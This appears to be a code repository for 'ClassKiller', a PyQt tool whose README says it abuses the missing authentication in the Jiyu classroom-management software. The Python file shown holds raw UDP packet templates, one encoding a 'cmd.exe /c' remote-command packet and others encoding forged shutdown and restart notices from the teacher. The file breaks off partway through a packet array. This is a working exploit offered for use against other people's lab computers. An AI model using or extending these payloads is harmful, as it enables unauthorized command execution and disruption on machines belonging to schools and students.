├── README.md └── ComputerKiller.py /README.md: -------------------------------------------------------------------------------- 1 | # ClassKiller 2 | 3 | 利用极域没有身份验证这一点,和其它功能组成了一个机房杀手 4 | 5 | 本项目核心逻辑来自于https://github.com/ht0Ruial/Jiyu_udp_attack 6 | 7 | 这只是个套了UI的项目 8 | 9 | 由于使用pyqt所以文件极大 10 | 11 | 32位自行编译 12 | -------------------------------------------------------------------------------- /ComputerKiller.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # self.tab1 implementation generated from reading ui file 'ComputerKiller.ui' 4 | # 5 | # Created by: PyQt5 UI code generator 5.15.4 6 | # 7 | # WARNING: Any manual changes made to this file will be lost when pyuic5 is 8 | # run again. Do not edit this file unless you know what you are doing. 9 | 10 | 11 | from PyQt5 import QtCore, QtWidgets 12 | import sys 13 | import socket 14 | from struct import pack 15 | from win32api import MessageBox 16 | from win32con import MB_ICONWARNING, MB_ICONASTERISK 17 | from scapy.all import * 18 | from threading import Thread 19 | 20 | QtCore.stop = 0 21 | QtCore.running = 0 22 | QtCore.stop2 = 0 23 | QtCore.running2 = 0 24 | 25 | header = [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x9e, 0x03, 0x00, 0x00, 0x10, 0x41, 0xaf, 0xfb, 0xa0, 0xe7, 26 | 0x52, 0x40, 0x91, 27 | 0xdc, 0x27, 0xa3, 0xb6, 0xf9, 0x29, 0x2e, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x50, 0x81, 0x91, 0x03, 0x00, 28 | 0x00, 0x91, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 29 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 32 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 33 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 34 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 36 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 37 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 38 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 39 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 40 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 41 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 43 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 45 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 51 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 53 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 54 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 55 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 56 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 57 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 58 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 59 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 60 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 61 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 67 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 68 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 69 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 70 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 71 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 72 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 73 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 74 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 75 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 76 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 77 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 78 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] 79 | 80 | header2 = [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x6e, 0x03, 0x00, 0x00, 0x5b, 0x68, 0x2b, 0x25, 0x6f, 0x61, 81 | 0x64, 0x4d, 0xa7, 0x92, 0xf0, 0x47, 0x00, 0xc5, 0xa4, 0x0e, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x64, 0x86, 82 | 0x61, 0x03, 0x00, 0x00, 0x61, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 83 | 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6e, 0x00, 84 | 0x64, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 85 | 0x65, 0x00, 0x6d, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x63, 0x00, 0x6d, 0x00, 0x64, 0x00, 0x2e, 0x00, 86 | 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 87 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 88 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 89 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 90 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 91 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 92 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 93 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 94 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 95 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 96 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 97 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 98 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 99 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 100 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 101 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 102 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 103 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 104 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 105 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 106 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 107 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 108 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 109 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 110 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 111 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x63, 0x00, 112 | 0x20, 0x00, 113 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 114 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 115 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 116 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 117 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 118 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 119 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 120 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 121 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 122 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 123 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 124 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 125 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 126 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 127 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 128 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 129 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 130 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 131 | 0x00, 0x00, 0x00, 0x00] 132 | 133 | header3 = [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x2a, 0x02, 0x00, 0x00, 0xc8, 0xe3, 0x97, 0xfd, 0xc0, 0xb5, 134 | 0x9f, 0x45, 0x87, 0x72, 0x05, 0xbd, 0x4e, 0x46, 0xa8, 0x96, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x50, 0x81, 135 | 0x1d, 0x02, 0x00, 0x00, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 136 | 0x00, 0x10, 0x0f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x65, 0x08, 0x5e, 137 | 0x06, 0x5c, 0x73, 0x51, 0xed, 0x95, 0xa8, 0x60, 0x84, 0x76, 0xa1, 0x8b, 0x97, 0x7b, 0x3a, 0x67, 0x02, 0x30, 138 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 139 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 140 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 141 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 142 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 143 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 144 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 145 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 146 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 147 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 148 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 149 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 150 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 151 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 152 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 153 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 154 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 155 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 156 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 157 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 158 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 159 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 160 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 161 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 162 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 163 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 164 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 165 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] 166 | 167 | header4 = [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x2a, 0x02, 0x00, 0x00, 0xbf, 0x40, 0x22, 0x4e, 0x57, 0x2d, 168 | 0x3e, 0x4f, 0x9b, 0x6f, 0xc1, 0x8d, 0xe1, 0xeb, 0x4f, 0x62, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x50, 0x81, 169 | 0x1d, 0x02, 0x00, 0x00, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 170 | 0x00, 0x10, 0x0f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x65, 0x08, 0x5e, 171 | 0x06, 0x5c, 0xcd, 0x91, 0x2f, 0x54, 0xa8, 0x60, 0x84, 0x76, 0xa1, 0x8b, 0x97, 0x7b, 0x3a, 0x67, 0x02, 0x30, 172 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 173 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 174 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 175 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 176 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 177 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 178 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 179 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 180 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 181 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 182 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 183 | 0x00, 0x00, 0x00, 0x00, 0x00, 